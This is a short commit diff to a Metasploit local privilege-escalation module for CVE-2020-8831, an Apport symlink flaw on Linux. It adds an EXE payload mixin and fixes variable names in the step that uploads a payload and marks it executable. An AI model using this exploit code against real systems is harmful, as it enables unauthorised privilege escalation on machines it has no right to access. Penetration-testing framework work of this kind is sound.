Add Payload::EXE module, fix var names

Author: gardnerapp

modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb

@@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Local
   include Msf::Post::Linux::System
   include Msf::Post::Linux::Kernel
   include Msf::Post::File
+  include Msf::Exploit::EXE
 
   def initialize(info = {})
     super(
@@ -123,7 +124,7 @@ def write_payload
 
     payload_dir = datastore['Writable_Dir']
 
-    payload_dir += '/' unless pay_dir.ends_with? '/'
+    payload_dir += '/' unless payload_dir.ends_with? '/'
 
     payload_file = datastore['Payload_Filename']
 
@@ -132,9 +133,9 @@ def write_payload
     # create the payload
     if target.arch.first == ARCH_CMD
       payload = payload.encoded
-      upload_and_chmodx pay_dest, payload
+      upload_and_chmodx @payload_dest, payload
     else
-      upload_and_chmodx pay_dest, generate_payload_exe
+      upload_and_chmodx @payload_dest, generate_payload_exe
     end
   end